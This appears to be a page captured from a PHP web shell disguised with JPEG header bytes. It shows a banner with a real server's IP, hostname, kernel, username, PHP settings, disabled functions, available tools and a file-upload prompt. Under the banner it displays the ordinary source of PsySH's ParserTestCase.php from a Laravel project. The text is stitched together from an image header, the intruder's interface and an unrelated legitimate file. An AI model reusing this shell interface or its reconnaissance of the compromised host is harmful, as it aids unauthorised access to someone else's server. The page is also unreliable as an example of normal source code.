ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.118.163.169 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/laravelvue/vendor/psy/psysh/test/ |
Upload File : |
<?php /* * This file is part of Psy Shell. * * (c) 2012-2018 Justin Hileman * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Psy\Test; use PhpParser\PrettyPrinter\Standard as Printer; use Psy\Exception\ParseErrorException; use Psy\ParserFactory; class ParserTestCase extends \PHPUnit\Framework\TestCase { protected $traverser; private $parser; private $printer; public function tearDown() { $this->traverser = null; $this->parser = null; $this->printer = null; } protected function parse($code, $prefix = '<?php ') { $code = $prefix . $code; try { return $this->getParser()->parse($code); } catch (\PhpParser\Error $e) { if (!$this->parseErrorIsEOF($e)) { throw ParseErrorException::fromParseError($e); } try { // Unexpected EOF, try again with an implicit semicolon return $this->getParser()->parse($code . ';'); } catch (\PhpParser\Error $e) { return false; } } } protected function traverse(array $stmts) { if (!isset($this->traverser)) { throw new \RuntimeException('Test cases must provide a traverser'); } return $this->traverser->traverse($stmts); } protected function prettyPrint(array $stmts) { return $this->getPrinter()->prettyPrint($stmts); } protected function assertProcessesAs($from, $to) { $stmts = $this->parse($from); $stmts = $this->traverse($stmts); $toStmts = $this->parse($to); $this->assertSame($this->prettyPrint($toStmts), $this->prettyPrint($stmts)); } private function getParser() { if (!isset($this->parser)) { $parserFactory = new ParserFactory(); $this->parser = $parserFactory->createParser(); } return $this->parser; } private function getPrinter() { if (!isset($this->printer)) { $this->printer = new Printer(); } return $this->printer; } private function parseErrorIsEOF(\PhpParser\Error $e) { $msg = $e->getRawMessage(); return ($msg === 'Unexpected token EOF') || (\strpos($msg, 'Syntax error, unexpected EOF') !== false); } }